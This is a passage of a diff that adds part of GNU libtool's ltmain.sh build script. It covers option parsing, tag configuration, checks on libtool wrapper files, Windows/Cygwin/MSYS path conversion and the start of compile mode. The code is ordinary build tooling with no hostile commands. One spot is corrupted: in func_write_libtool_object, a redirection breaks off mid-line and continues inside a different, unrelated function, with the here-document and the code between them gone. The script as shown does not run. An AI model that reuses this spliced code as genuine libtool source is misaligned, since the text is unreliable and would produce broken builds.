"$lo2o"` + } + + func_xform () + { + func_xform_result=`$ECHO "$1" | $SED 's|\.[^.]*$|.lo|'` + } +fi + + +# func_fatal_configuration ARG... +# ------------------------------- +# Echo program name prefixed message to standard error, followed by +# a configuration failure hint, and exit. +func_fatal_configuration () +{ + func_fatal_error ${1+"$@"} \ + "See the $PACKAGE documentation for more information." \ + "Fatal configuration error." +} + + +# func_config +# ----------- +# Display the configuration for all the tags in this script. +func_config () +{ + re_begincf='^# ### BEGIN LIBTOOL' + re_endcf='^# ### END LIBTOOL' + + # Default configuration. + $SED "1,/$re_begincf CONFIG/d;/$re_endcf CONFIG/,\$d" < "$progpath" + + # Now print the configurations for the tags. + for tagname in $taglist; do + $SED -n "/$re_begincf TAG CONFIG: $tagname\$/,/$re_endcf TAG CONFIG: $tagname\$/p" < "$progpath" + done + + exit $? +} + + +# func_features +# ------------- +# Display the features supported by this script. +func_features () +{ + echo "host: $host" + if test yes = "$build_libtool_libs"; then + echo "enable shared libraries" + else + echo "disable shared libraries" + fi + if test yes = "$build_old_libs"; then + echo "enable static libraries" + else + echo "disable static libraries" + fi + + exit $? +} + + +# func_enable_tag TAGNAME +# ----------------------- +# Verify that TAGNAME is valid, and either flag an error and exit, or +# enable the TAGNAME tag. We also add TAGNAME to the global $taglist +# variable here. +func_enable_tag () +{ + # Global variable: + tagname=$1 + + re_begincf="^# ### BEGIN LIBTOOL TAG CONFIG: $tagname\$" + re_endcf="^# ### END LIBTOOL TAG CONFIG: $tagname\$" + sed_extractcf=/$re_begincf/,/$re_endcf/p + + # Validate tagname. + case $tagname in + *[!-_A-Za-z0-9,/]*) + func_fatal_error "invalid tag name: $tagname" + ;; + esac + + # Don't test for the "default" C tag, as we know it's + # there but not specially marked. + case $tagname in + CC) ;; + *) + if $GREP "$re_begincf" "$progpath" >/dev/null 2>&1; then + taglist="$taglist $tagname" + + # Evaluate the configuration. Be careful to quote the path + # and the sed script, to avoid splitting on whitespace, but + # also don't use non-portable quotes within backquotes within + # quotes we have to do it in 2 steps: + extractedcf=`$SED -n -e "$sed_extractcf" < "$progpath"` + eval "$extractedcf" + else + func_error "ignoring unknown tag $tagname" + fi + ;; + esac +} + + +# func_check_version_match +# ------------------------ +# Ensure that we are using m4 macros, and libtool script from the same +# release of libtool. +func_check_version_match () +{ + if test "$package_revision" != "$macro_revision"; then + if test "$VERSION" != "$macro_version"; then + if test -z "$macro_version"; then + cat >&2 <<_LT_EOF +$progname: Version mismatch error. This is $PACKAGE $VERSION, but the +$progname: definition of this LT_INIT comes from an older release. +$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION +$progname: and run autoconf again. +_LT_EOF + else + cat >&2 <<_LT_EOF +$progname: Version mismatch error. This is $PACKAGE $VERSION, but the +$progname: definition of this LT_INIT comes from $PACKAGE $macro_version. +$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION +$progname: and run autoconf again. +_LT_EOF + fi + else + cat >&2 <<_LT_EOF +$progname: Version mismatch error. This is $PACKAGE $VERSION, revision $package_revision, +$progname: but the definition of this LT_INIT comes from revision $macro_revision. +$progname: You should recreate aclocal.m4 with macros from revision $package_revision +$progname: of $PACKAGE $VERSION and run autoconf again. +_LT_EOF + fi + + exit $EXIT_MISMATCH + fi +} + + +# libtool_options_prep [ARG]... +# ----------------------------- +# Preparation for options parsed by libtool. +libtool_options_prep () +{ + $debug_mode + + # Option defaults: + opt_config=false + opt_dlopen= + opt_dry_run=false + opt_help=false + opt_mode= + opt_preserve_dup_deps=false + opt_quiet=false + + nonopt= + preserve_args= + + _G_rc_lt_options_prep=: + + # Shorthand for --mode=foo, only valid as the first argument + case $1 in + clean|clea|cle|cl) + shift; set dummy --mode clean ${1+"$@"}; shift + ;; + compile|compil|compi|comp|com|co|c) + shift; set dummy --mode compile ${1+"$@"}; shift + ;; + execute|execut|execu|exec|exe|ex|e) + shift; set dummy --mode execute ${1+"$@"}; shift + ;; + finish|finis|fini|fin|fi|f) + shift; set dummy --mode finish ${1+"$@"}; shift + ;; + install|instal|insta|inst|ins|in|i) + shift; set dummy --mode install ${1+"$@"}; shift + ;; + link|lin|li|l) + shift; set dummy --mode link ${1+"$@"}; shift + ;; + uninstall|uninstal|uninsta|uninst|unins|unin|uni|un|u) + shift; set dummy --mode uninstall ${1+"$@"}; shift + ;; + *) + _G_rc_lt_options_prep=false + ;; + esac + + if $_G_rc_lt_options_prep; then + # Pass back the list of options. + func_quote eval ${1+"$@"} + libtool_options_prep_result=$func_quote_result + fi +} +func_add_hook func_options_prep libtool_options_prep + + +# libtool_parse_options [ARG]... +# --------------------------------- +# Provide handling for libtool specific options. +libtool_parse_options () +{ + $debug_cmd + + _G_rc_lt_parse_options=false + + # Perform our own loop to consume as many options as possible in + # each iteration. + while test $# -gt 0; do + _G_match_lt_parse_options=: + _G_opt=$1 + shift + case $_G_opt in + --dry-run|--dryrun|-n) + opt_dry_run=: + ;; + + --config) func_config ;; + + --dlopen|-dlopen) + opt_dlopen="${opt_dlopen+$opt_dlopen +}$1" + shift + ;; + + --preserve-dup-deps) + opt_preserve_dup_deps=: ;; + + --features) func_features ;; + + --finish) set dummy --mode finish ${1+"$@"}; shift ;; + + --help) opt_help=: ;; + + --help-all) opt_help=': help-all' ;; + + --mode) test $# = 0 && func_missing_arg $_G_opt && break + opt_mode=$1 + case $1 in + # Valid mode arguments: + clean|compile|execute|finish|install|link|relink|uninstall) ;; + + # Catch anything else as an error + *) func_error "invalid argument for $_G_opt" + exit_cmd=exit + break + ;; + esac + shift + ;; + + --no-silent|--no-quiet) + opt_quiet=false + func_append preserve_args " $_G_opt" + ;; + + --no-warnings|--no-warning|--no-warn) + opt_warning=false + func_append preserve_args " $_G_opt" + ;; + + --no-verbose) + opt_verbose=false + func_append preserve_args " $_G_opt" + ;; + + --silent|--quiet) + opt_quiet=: + opt_verbose=false + func_append preserve_args " $_G_opt" + ;; + + --tag) test $# = 0 && func_missing_arg $_G_opt && break + opt_tag=$1 + func_append preserve_args " $_G_opt $1" + func_enable_tag "$1" + shift + ;; + + --verbose|-v) opt_quiet=false + opt_verbose=: + func_append preserve_args " $_G_opt" + ;; + + # An option not handled by this hook function: + *) set dummy "$_G_opt" ${1+"$@"} ; shift + _G_match_lt_parse_options=false + break + ;; + esac + $_G_match_lt_parse_options && _G_rc_lt_parse_options=: + done + + if $_G_rc_lt_parse_options; then + # save modified positional parameters for caller + func_quote eval ${1+"$@"} + libtool_parse_options_result=$func_quote_result + fi +} +func_add_hook func_parse_options libtool_parse_options + + + +# libtool_validate_options [ARG]... +# --------------------------------- +# Perform any sanity checks on option settings and/or unconsumed +# arguments. +libtool_validate_options () +{ + # save first non-option argument + if test 0 -lt $#; then + nonopt=$1 + shift + fi + + # preserve --debug + test : = "$debug_cmd" || func_append preserve_args " --debug" + + case $host in + # Solaris2 added to fix http://debbugs.gnu.org/cgi/bugreport.cgi?bug=16452 + # see also: http://gcc.gnu.org/bugzilla/show_bug.cgi?id=59788 + *cygwin* | *mingw* | *pw32* | *cegcc* | *solaris2* | *os2*) + # don't eliminate duplications in $postdeps and $predeps + opt_duplicate_compiler_generated_deps=: + ;; + *) + opt_duplicate_compiler_generated_deps=$opt_preserve_dup_deps + ;; + esac + + $opt_help || { + # Sanity checks first: + func_check_version_match + + test yes != "$build_libtool_libs" \ + && test yes != "$build_old_libs" \ + && func_fatal_configuration "not configured to build any kind of library" + + # Darwin sucks + eval std_shrext=\"$shrext_cmds\" + + # Only execute mode is allowed to have -dlopen flags. + if test -n "$opt_dlopen" && test execute != "$opt_mode"; then + func_error "unrecognized option '-dlopen'" + $ECHO "$help" 1>&2 + exit $EXIT_FAILURE + fi + + # Change the help message to a mode-specific one. + generic_help=$help + help="Try '$progname --help --mode=$opt_mode' for more information." + } + + # Pass back the unparsed argument list + func_quote eval ${1+"$@"} + libtool_validate_options_result=$func_quote_result +} +func_add_hook func_validate_options libtool_validate_options + + +# Process options as early as possible so that --help and --version +# can return quickly. +func_options ${1+"$@"} +eval set dummy "$func_options_result"; shift + + + +## ----------- ## +## Main. ## +## ----------- ## + +magic='%%%MAGIC variable%%%' +magic_exe='%%%MAGIC EXE variable%%%' + +# Global variables. +extracted_archives= +extracted_serial=0 + +# If this variable is set in any of the actions, the command in it +# will be execed at the end. This prevents here-documents from being +# left over by shells. +exec_cmd= + + +# A function that is used when there is no print builtin or printf. +func_fallback_echo () +{ + eval 'cat <<_LTECHO_EOF +$1 +_LTECHO_EOF' +} + +# func_generated_by_libtool +# True iff stdin has been generated by Libtool. This function is only +# a basic sanity check; it will hardly flush out determined imposters. +func_generated_by_libtool_p () +{ + $GREP "^# Generated by .*$PACKAGE" > /dev/null 2>&1 +} + +# func_lalib_p file +# True iff FILE is a libtool '.la' library or '.lo' object file. +# This function is only a basic sanity check; it will hardly flush out +# determined imposters. +func_lalib_p () +{ + test -f "$1" && + $SED -e 4q "$1" 2>/dev/null | func_generated_by_libtool_p +} + +# func_lalib_unsafe_p file +# True iff FILE is a libtool '.la' library or '.lo' object file. +# This function implements the same check as func_lalib_p without +# resorting to external programs. To this end, it redirects stdin and +# closes it afterwards, without saving the original file descriptor. +# As a safety measure, use it only where a negative result would be +# fatal anyway. Works if 'file' does not exist. +func_lalib_unsafe_p () +{ + lalib_p=no + if test -f "$1" && test -r "$1" && exec 5<&0 <"$1"; then + for lalib_p_l in 1 2 3 4 + do + read lalib_p_line + case $lalib_p_line in + \#\ Generated\ by\ *$PACKAGE* ) lalib_p=yes; break;; + esac + done + exec 0<&5 5<&- + fi + test yes = "$lalib_p" +} + +# func_ltwrapper_script_p file +# True iff FILE is a libtool wrapper script +# This function is only a basic sanity check; it will hardly flush out +# determined imposters. +func_ltwrapper_script_p () +{ + test -f "$1" && + $lt_truncate_bin < "$1" 2>/dev/null | func_generated_by_libtool_p +} + +# func_ltwrapper_executable_p file +# True iff FILE is a libtool wrapper executable +# This function is only a basic sanity check; it will hardly flush out +# determined imposters. +func_ltwrapper_executable_p () +{ + func_ltwrapper_exec_suffix= + case $1 in + *.exe) ;; + *) func_ltwrapper_exec_suffix=.exe ;; + esac + $GREP "$magic_exe" "$1$func_ltwrapper_exec_suffix" >/dev/null 2>&1 +} + +# func_ltwrapper_scriptname file +# Assumes file is an ltwrapper_executable +# uses $file to determine the appropriate filename for a +# temporary ltwrapper_script. +func_ltwrapper_scriptname () +{ + func_dirname_and_basename "$1" "" "." + func_stripname '' '.exe' "$func_basename_result" + func_ltwrapper_scriptname_result=$func_dirname_result/$objdir/${func_stripname_result}_ltshwrapper +} + +# func_ltwrapper_p file +# True iff FILE is a libtool wrapper script or wrapper executable +# This function is only a basic sanity check; it will hardly flush out +# determined imposters. +func_ltwrapper_p () +{ + func_ltwrapper_script_p "$1" || func_ltwrapper_executable_p "$1" +} + + +# func_execute_cmds commands fail_cmd +# Execute tilde-delimited COMMANDS. +# If FAIL_CMD is given, eval that upon failure. +# FAIL_CMD may read-access the current command in variable CMD! +func_execute_cmds () +{ + $debug_cmd + + save_ifs=$IFS; IFS='~' + for cmd in $1; do + IFS=$sp$nl + eval cmd=\"$cmd\" + IFS=$save_ifs + func_show_eval "$cmd" "${2-:}" + done + IFS=$save_ifs +} + + +# func_source file +# Source FILE, adding directory component if necessary. +# Note that it is not necessary on cygwin/mingw to append a dot to +# FILE even if both FILE and FILE.exe exist: automatic-append-.exe +# behavior happens only for exec(3), not for open(2)! Also, sourcing +# 'FILE.' does not work on cygwin managed mounts. +func_source () +{ + $debug_cmd + + case $1 in + */* | *\\*) . "$1" ;; + *) . "./$1" ;; + esac +} + + +# func_resolve_sysroot PATH +# Replace a leading = in PATH with a sysroot. Store the result into +# func_resolve_sysroot_result +func_resolve_sysroot () +{ + func_resolve_sysroot_result=$1 + case $func_resolve_sysroot_result in + =*) + func_stripname '=' '' "$func_resolve_sysroot_result" + func_resolve_sysroot_result=$lt_sysroot$func_stripname_result + ;; + esac +} + +# func_replace_sysroot PATH +# If PATH begins with the sysroot, replace it with = and +# store the result into func_replace_sysroot_result. +func_replace_sysroot () +{ + case $lt_sysroot:$1 in + ?*:"$lt_sysroot"*) + func_stripname "$lt_sysroot" '' "$1" + func_replace_sysroot_result='='$func_stripname_result + ;; + *) + # Including no sysroot. + func_replace_sysroot_result=$1 + ;; + esac +} + +# func_infer_tag arg +# Infer tagged configuration to use if any are available and +# if one wasn't chosen via the "--tag" command line option. +# Only attempt this if the compiler in the base compile +# command doesn't match the default compiler. +# arg is usually of the form 'gcc ...' +func_infer_tag () +{ + $debug_cmd + + if test -n "$available_tags" && test -z "$tagname"; then + CC_quoted= + for arg in $CC; do + func_append_quoted CC_quoted "$arg" + done + CC_expanded=`func_echo_all $CC` + CC_quoted_expanded=`func_echo_all $CC_quoted` + case $@ in + # Blanks in the command may have been stripped by the calling shell, + # but not from the CC environment variable when configure was run. + " $CC "* | "$CC "* | " $CC_expanded "* | "$CC_expanded "* | \ + " $CC_quoted"* | "$CC_quoted "* | " $CC_quoted_expanded "* | "$CC_quoted_expanded "*) ;; + # Blanks at the start of $base_compile will cause this to fail + # if we don't check for them as well. + *) + for z in $available_tags; do + if $GREP "^# ### BEGIN LIBTOOL TAG CONFIG: $z$" < "$progpath" > /dev/null; then + # Evaluate the configuration. + eval "`$SED -n -e '/^# ### BEGIN LIBTOOL TAG CONFIG: '$z'$/,/^# ### END LIBTOOL TAG CONFIG: '$z'$/p' < $progpath`" + CC_quoted= + for arg in $CC; do + # Double-quote args containing other shell metacharacters. + func_append_quoted CC_quoted "$arg" + done + CC_expanded=`func_echo_all $CC` + CC_quoted_expanded=`func_echo_all $CC_quoted` + case "$@ " in + " $CC "* | "$CC "* | " $CC_expanded "* | "$CC_expanded "* | \ + " $CC_quoted"* | "$CC_quoted "* | " $CC_quoted_expanded "* | "$CC_quoted_expanded "*) + # The compiler in the base compile command matches + # the one in the tagged configuration. + # Assume this is the tagged configuration we want. + tagname=$z + break + ;; + esac + fi + done + # If $tagname still isn't set, then no tagged configuration + # was found and let the user know that the "--tag" command + # line option must be used. + if test -z "$tagname"; then + func_echo "unable to infer tagged configuration" + func_fatal_error "specify a tag with '--tag'" +# else +# func_verbose "using $tagname tagged configuration" + fi + ;; + esac + fi +} + + + +# func_write_libtool_object output_name pic_name nonpic_name +# Create a libtool object file (analogous to a ".la" file), +# but don't create it if we're doing a dry run. +func_write_libtool_object () +{ + write_libobj=$1 + if test yes = "$build_libtool_libs"; then + write_lobj=\'$2\' + else + write_lobj=none + fi + + if test yes = "$build_old_libs"; then + write_oldobj=\'$3\' + else + write_oldobj=none + fi + + $opt_dry_run || { + cat >${write_libobj}T </dev/null` + if test "$?" -eq 0 && test -n "$func_convert_core_file_wine_to_w32_tmp"; then + func_convert_core_file_wine_to_w32_result=`$ECHO "$func_convert_core_file_wine_to_w32_tmp" | + $SED -e "$sed_naive_backslashify"` + else + func_convert_core_file_wine_to_w32_result= + fi + fi +} +# end: func_convert_core_file_wine_to_w32 + + +# func_convert_core_path_wine_to_w32 ARG +# Helper function used by path conversion functions when $build is *nix, and +# $host is mingw, cygwin, or some other w32 environment. Relies on a correctly +# configured wine environment available, with the winepath program in $build's +# $PATH. Assumes ARG has no leading or trailing path separator characters. +# +# ARG is path to be converted from $build format to win32. +# Result is available in $func_convert_core_path_wine_to_w32_result. +# Unconvertible file (directory) names in ARG are skipped; if no directory names +# are convertible, then the result may be empty. +func_convert_core_path_wine_to_w32 () +{ + $debug_cmd + + # unfortunately, winepath doesn't convert paths, only file names + func_convert_core_path_wine_to_w32_result= + if test -n "$1"; then + oldIFS=$IFS + IFS=: + for func_convert_core_path_wine_to_w32_f in $1; do + IFS=$oldIFS + func_convert_core_file_wine_to_w32 "$func_convert_core_path_wine_to_w32_f" + if test -n "$func_convert_core_file_wine_to_w32_result"; then + if test -z "$func_convert_core_path_wine_to_w32_result"; then + func_convert_core_path_wine_to_w32_result=$func_convert_core_file_wine_to_w32_result + else + func_append func_convert_core_path_wine_to_w32_result ";$func_convert_core_file_wine_to_w32_result" + fi + fi + done + IFS=$oldIFS + fi +} +# end: func_convert_core_path_wine_to_w32 + + +# func_cygpath ARGS... +# Wrapper around calling the cygpath program via LT_CYGPATH. This is used when +# when (1) $build is *nix and Cygwin is hosted via a wine environment; or (2) +# $build is MSYS and $host is Cygwin, or (3) $build is Cygwin. In case (1) or +# (2), returns the Cygwin file name or path in func_cygpath_result (input +# file name or path is assumed to be in w32 format, as previously converted +# from $build's *nix or MSYS format). In case (3), returns the w32 file name +# or path in func_cygpath_result (input file name or path is assumed to be in +# Cygwin format). Returns an empty string on error. +# +# ARGS are passed to cygpath, with the last one being the file name or path to +# be converted. +# +# Specify the absolute *nix (or w32) name to cygpath in the LT_CYGPATH +# environment variable; do not put it in $PATH. +func_cygpath () +{ + $debug_cmd + + if test -n "$LT_CYGPATH" && test -f "$LT_CYGPATH"; then + func_cygpath_result=`$LT_CYGPATH "$@" 2>/dev/null` + if test "$?" -ne 0; then + # on failure, ensure result is empty + func_cygpath_result= + fi + else + func_cygpath_result= + func_error "LT_CYGPATH is empty or specifies non-existent file: '$LT_CYGPATH'" + fi +} +#end: func_cygpath + + +# func_convert_core_msys_to_w32 ARG +# Convert file name or path ARG from MSYS format to w32 format. Return +# result in func_convert_core_msys_to_w32_result. +func_convert_core_msys_to_w32 () +{ + $debug_cmd + + # awkward: cmd appends spaces to result + func_convert_core_msys_to_w32_result=`( cmd //c echo "$1" ) 2>/dev/null | + $SED -e 's/[ ]*$//' -e "$sed_naive_backslashify"` +} +#end: func_convert_core_msys_to_w32 + + +# func_convert_file_check ARG1 ARG2 +# Verify that ARG1 (a file name in $build format) was converted to $host +# format in ARG2. Otherwise, emit an error message, but continue (resetting +# func_to_host_file_result to ARG1). +func_convert_file_check () +{ + $debug_cmd + + if test -z "$2" && test -n "$1"; then + func_error "Could not determine host file name corresponding to" + func_error " '$1'" + func_error "Continuing, but uninstalled executables may not work." + # Fallback: + func_to_host_file_result=$1 + fi +} +# end func_convert_file_check + + +# func_convert_path_check FROM_PATHSEP TO_PATHSEP FROM_PATH TO_PATH +# Verify that FROM_PATH (a path in $build format) was converted to $host +# format in TO_PATH. Otherwise, emit an error message, but continue, resetting +# func_to_host_file_result to a simplistic fallback value (see below). +func_convert_path_check () +{ + $debug_cmd + + if test -z "$4" && test -n "$3"; then + func_error "Could not determine the host path corresponding to" + func_error " '$3'" + func_error "Continuing, but uninstalled executables may not work." + # Fallback. This is a deliberately simplistic "conversion" and + # should not be "improved". See libtool.info. + if test "x$1" != "x$2"; then + lt_replace_pathsep_chars="s|$1|$2|g" + func_to_host_path_result=`echo "$3" | + $SED -e "$lt_replace_pathsep_chars"` + else + func_to_host_path_result=$3 + fi + fi +} +# end func_convert_path_check + + +# func_convert_path_front_back_pathsep FRONTPAT BACKPAT REPL ORIG +# Modifies func_to_host_path_result by prepending REPL if ORIG matches FRONTPAT +# and appending REPL if ORIG matches BACKPAT. +func_convert_path_front_back_pathsep () +{ + $debug_cmd + + case $4 in + $1 ) func_to_host_path_result=$3$func_to_host_path_result + ;; + esac + case $4 in + $2 ) func_append func_to_host_path_result "$3" + ;; + esac +} +# end func_convert_path_front_back_pathsep + + +################################################## +# $build to $host FILE NAME CONVERSION FUNCTIONS # +################################################## +# invoked via '$to_host_file_cmd ARG' +# +# In each case, ARG is the path to be converted from $build to $host format. +# Result will be available in $func_to_host_file_result. + + +# func_to_host_file ARG +# Converts the file name ARG from $build format to $host format. Return result +# in func_to_host_file_result. +func_to_host_file () +{ + $debug_cmd + + $to_host_file_cmd "$1" +} +# end func_to_host_file + + +# func_to_tool_file ARG LAZY +# converts the file name ARG from $build format to toolchain format. Return +# result in func_to_tool_file_result. If the conversion in use is listed +# in (the comma separated) LAZY, no conversion takes place. +func_to_tool_file () +{ + $debug_cmd + + case ,$2, in + *,"$to_tool_file_cmd",*) + func_to_tool_file_result=$1 + ;; + *) + $to_tool_file_cmd "$1" + func_to_tool_file_result=$func_to_host_file_result + ;; + esac +} +# end func_to_tool_file + + +# func_convert_file_noop ARG +# Copy ARG to func_to_host_file_result. +func_convert_file_noop () +{ + func_to_host_file_result=$1 +} +# end func_convert_file_noop + + +# func_convert_file_msys_to_w32 ARG +# Convert file name ARG from (mingw) MSYS to (mingw) w32 format; automatic +# conversion to w32 is not available inside the cwrapper. Returns result in +# func_to_host_file_result. +func_convert_file_msys_to_w32 () +{ + $debug_cmd + + func_to_host_file_result=$1 + if test -n "$1"; then + func_convert_core_msys_to_w32 "$1" + func_to_host_file_result=$func_convert_core_msys_to_w32_result + fi + func_convert_file_check "$1" "$func_to_host_file_result" +} +# end func_convert_file_msys_to_w32 + + +# func_convert_file_cygwin_to_w32 ARG +# Convert file name ARG from Cygwin to w32 format. Returns result in +# func_to_host_file_result. +func_convert_file_cygwin_to_w32 () +{ + $debug_cmd + + func_to_host_file_result=$1 + if test -n "$1"; then + # because $build is cygwin, we call "the" cygpath in $PATH; no need to use + # LT_CYGPATH in this case. + func_to_host_file_result=`cygpath -m "$1"` + fi + func_convert_file_check "$1" "$func_to_host_file_result" +} +# end func_convert_file_cygwin_to_w32 + + +# func_convert_file_nix_to_w32 ARG +# Convert file name ARG from *nix to w32 format. Requires a wine environment +# and a working winepath. Returns result in func_to_host_file_result. +func_convert_file_nix_to_w32 () +{ + $debug_cmd + + func_to_host_file_result=$1 + if test -n "$1"; then + func_convert_core_file_wine_to_w32 "$1" + func_to_host_file_result=$func_convert_core_file_wine_to_w32_result + fi + func_convert_file_check "$1" "$func_to_host_file_result" +} +# end func_convert_file_nix_to_w32 + + +# func_convert_file_msys_to_cygwin ARG +# Convert file name ARG from MSYS to Cygwin format. Requires LT_CYGPATH set. +# Returns result in func_to_host_file_result. +func_convert_file_msys_to_cygwin () +{ + $debug_cmd + + func_to_host_file_result=$1 + if test -n "$1"; then + func_convert_core_msys_to_w32 "$1" + func_cygpath -u "$func_convert_core_msys_to_w32_result" + func_to_host_file_result=$func_cygpath_result + fi + func_convert_file_check "$1" "$func_to_host_file_result" +} +# end func_convert_file_msys_to_cygwin + + +# func_convert_file_nix_to_cygwin ARG +# Convert file name ARG from *nix to Cygwin format. Requires Cygwin installed +# in a wine environment, working winepath, and LT_CYGPATH set. Returns result +# in func_to_host_file_result. +func_convert_file_nix_to_cygwin () +{ + $debug_cmd + + func_to_host_file_result=$1 + if test -n "$1"; then + # convert from *nix to w32, then use cygpath to convert from w32 to cygwin. + func_convert_core_file_wine_to_w32 "$1" + func_cygpath -u "$func_convert_core_file_wine_to_w32_result" + func_to_host_file_result=$func_cygpath_result + fi + func_convert_file_check "$1" "$func_to_host_file_result" +} +# end func_convert_file_nix_to_cygwin + + +############################################# +# $build to $host PATH CONVERSION FUNCTIONS # +############################################# +# invoked via '$to_host_path_cmd ARG' +# +# In each case, ARG is the path to be converted from $build to $host format. +# The result will be available in $func_to_host_path_result. +# +# Path separators are also converted from $build format to $host format. If +# ARG begins or ends with a path separator character, it is preserved (but +# converted to $host format) on output. +# +# All path conversion functions are named using the following convention: +# file name conversion function : func_convert_file_X_to_Y () +# path conversion function : func_convert_path_X_to_Y () +# where, for any given $build/$host combination the 'X_to_Y' value is the +# same. If conversion functions are added for new $build/$host combinations, +# the two new functions must follow this pattern, or func_init_to_host_path_cmd +# will break. + + +# func_init_to_host_path_cmd +# Ensures that function "pointer" variable $to_host_path_cmd is set to the +# appropriate value, based on the value of $to_host_file_cmd. +to_host_path_cmd= +func_init_to_host_path_cmd () +{ + $debug_cmd + + if test -z "$to_host_path_cmd"; then + func_stripname 'func_convert_file_' '' "$to_host_file_cmd" + to_host_path_cmd=func_convert_path_$func_stripname_result + fi +} + + +# func_to_host_path ARG +# Converts the path ARG from $build format to $host format. Return result +# in func_to_host_path_result. +func_to_host_path () +{ + $debug_cmd + + func_init_to_host_path_cmd + $to_host_path_cmd "$1" +} +# end func_to_host_path + + +# func_convert_path_noop ARG +# Copy ARG to func_to_host_path_result. +func_convert_path_noop () +{ + func_to_host_path_result=$1 +} +# end func_convert_path_noop + + +# func_convert_path_msys_to_w32 ARG +# Convert path ARG from (mingw) MSYS to (mingw) w32 format; automatic +# conversion to w32 is not available inside the cwrapper. Returns result in +# func_to_host_path_result. +func_convert_path_msys_to_w32 () +{ + $debug_cmd + + func_to_host_path_result=$1 + if test -n "$1"; then + # Remove leading and trailing path separator characters from ARG. MSYS + # behavior is inconsistent here; cygpath turns them into '.;' and ';.'; + # and winepath ignores them completely. + func_stripname : : "$1" + func_to_host_path_tmp1=$func_stripname_result + func_convert_core_msys_to_w32 "$func_to_host_path_tmp1" + func_to_host_path_result=$func_convert_core_msys_to_w32_result + func_convert_path_check : ";" \ + "$func_to_host_path_tmp1" "$func_to_host_path_result" + func_convert_path_front_back_pathsep ":*" "*:" ";" "$1" + fi +} +# end func_convert_path_msys_to_w32 + + +# func_convert_path_cygwin_to_w32 ARG +# Convert path ARG from Cygwin to w32 format. Returns result in +# func_to_host_file_result. +func_convert_path_cygwin_to_w32 () +{ + $debug_cmd + + func_to_host_path_result=$1 + if test -n "$1"; then + # See func_convert_path_msys_to_w32: + func_stripname : : "$1" + func_to_host_path_tmp1=$func_stripname_result + func_to_host_path_result=`cygpath -m -p "$func_to_host_path_tmp1"` + func_convert_path_check : ";" \ + "$func_to_host_path_tmp1" "$func_to_host_path_result" + func_convert_path_front_back_pathsep ":*" "*:" ";" "$1" + fi +} +# end func_convert_path_cygwin_to_w32 + + +# func_convert_path_nix_to_w32 ARG +# Convert path ARG from *nix to w32 format. Requires a wine environment and +# a working winepath. Returns result in func_to_host_file_result. +func_convert_path_nix_to_w32 () +{ + $debug_cmd + + func_to_host_path_result=$1 + if test -n "$1"; then + # See func_convert_path_msys_to_w32: + func_stripname : : "$1" + func_to_host_path_tmp1=$func_stripname_result + func_convert_core_path_wine_to_w32 "$func_to_host_path_tmp1" + func_to_host_path_result=$func_convert_core_path_wine_to_w32_result + func_convert_path_check : ";" \ + "$func_to_host_path_tmp1" "$func_to_host_path_result" + func_convert_path_front_back_pathsep ":*" "*:" ";" "$1" + fi +} +# end func_convert_path_nix_to_w32 + + +# func_convert_path_msys_to_cygwin ARG +# Convert path ARG from MSYS to Cygwin format. Requires LT_CYGPATH set. +# Returns result in func_to_host_file_result. +func_convert_path_msys_to_cygwin () +{ + $debug_cmd + + func_to_host_path_result=$1 + if test -n "$1"; then + # See func_convert_path_msys_to_w32: + func_stripname : : "$1" + func_to_host_path_tmp1=$func_stripname_result + func_convert_core_msys_to_w32 "$func_to_host_path_tmp1" + func_cygpath -u -p "$func_convert_core_msys_to_w32_result" + func_to_host_path_result=$func_cygpath_result + func_convert_path_check : : \ + "$func_to_host_path_tmp1" "$func_to_host_path_result" + func_convert_path_front_back_pathsep ":*" "*:" : "$1" + fi +} +# end func_convert_path_msys_to_cygwin + + +# func_convert_path_nix_to_cygwin ARG +# Convert path ARG from *nix to Cygwin format. Requires Cygwin installed in a +# a wine environment, working winepath, and LT_CYGPATH set. Returns result in +# func_to_host_file_result. +func_convert_path_nix_to_cygwin () +{ + $debug_cmd + + func_to_host_path_result=$1 + if test -n "$1"; then + # Remove leading and trailing path separator characters from + # ARG. msys behavior is inconsistent here, cygpath turns them + # into '.;' and ';.', and winepath ignores them completely. + func_stripname : : "$1" + func_to_host_path_tmp1=$func_stripname_result + func_convert_core_path_wine_to_w32 "$func_to_host_path_tmp1" + func_cygpath -u -p "$func_convert_core_path_wine_to_w32_result" + func_to_host_path_result=$func_cygpath_result + func_convert_path_check : : \ + "$func_to_host_path_tmp1" "$func_to_host_path_result" + func_convert_path_front_back_pathsep ":*" "*:" : "$1" + fi +} +# end func_convert_path_nix_to_cygwin + + +# func_dll_def_p FILE +# True iff FILE is a Windows DLL '.def' file. +# Keep in sync with _LT_DLL_DEF_P in libtool.m4 +func_dll_def_p () +{ + $debug_cmd + + func_dll_def_p_tmp=`$SED -n \ + -e 's/^[ ]*//' \ + -e '/^\(;.*\)*$/d' \ + -e 's/^\(EXPORTS\|LIBRARY\)\([ ].*\)*$/DEF/p' \ + -e q \ + "$1"` + test DEF = "$func_dll_def_p_tmp" +} + + +# func_mode_compile arg... +func_mode_compile () +{ + $debug_cmd + + # Get the compilation command and the source file. + base_compile= + srcfile=$nonopt # always keep a non-empty value in "srcfile" + suppress_opt=yes + suppress_output= + arg_mode=normal + libobj= + later= + pie_flag= + + for arg + do + case $arg_mode in + arg ) + # do not "continue". Instead, add this to base_compile + lastarg=$arg + arg_mode=normal + ;; + + target ) + libobj=$arg + arg_mode=normal + continue + ;; + + normal ) + # Accept any command-line options. + case $arg in + -o) + test -n "$libobj" && \ + func_fatal_error "you cannot specify '-o' more than once" + arg_mode=target + continue + ;; + + -pie | -fpie | -fPIE) + func_append pie_flag " $arg" + continue + ;; + + -shared | -static | -prefer-pic | -prefer-non-pic) + func_append later " $arg" + continue + ;; + + -no-suppress) + suppress_opt=no + continue + ;; + + -Xcompiler) + arg_mode=arg # the next one goes into the "base_compile" arg list + continue # The current "srcfile" will either be retained or + ;; # replaced later. I would guess that would be a bug. + + -Wc,*) + func_stripname '-Wc,' '' "$arg" + args=$func_stripname_result + lastarg= + save_ifs=$IFS; IFS=, + for arg in $args; do + IFS=$save_ifs + func_append_quoted lastarg "$arg" + done + IFS=$save_ifs + func_stripname ' ' '' "$lastarg" + lastarg=$func_stripname_result + + # Add the arguments to base_compile. + func_append base_compile " $lastarg" + continue + ;; + + *) + # Accept the current argument as the source file. + # The previous "srcfile" becomes the current argument. + # + lastarg=$srcfile + srcfile=$arg + ;; + esac # case $arg + ;; + esac # case $arg_mode + + # Aesthetically quote the previous argument. + func_append_quoted base_compile "$lastarg" + done # for arg + + case $arg_mode 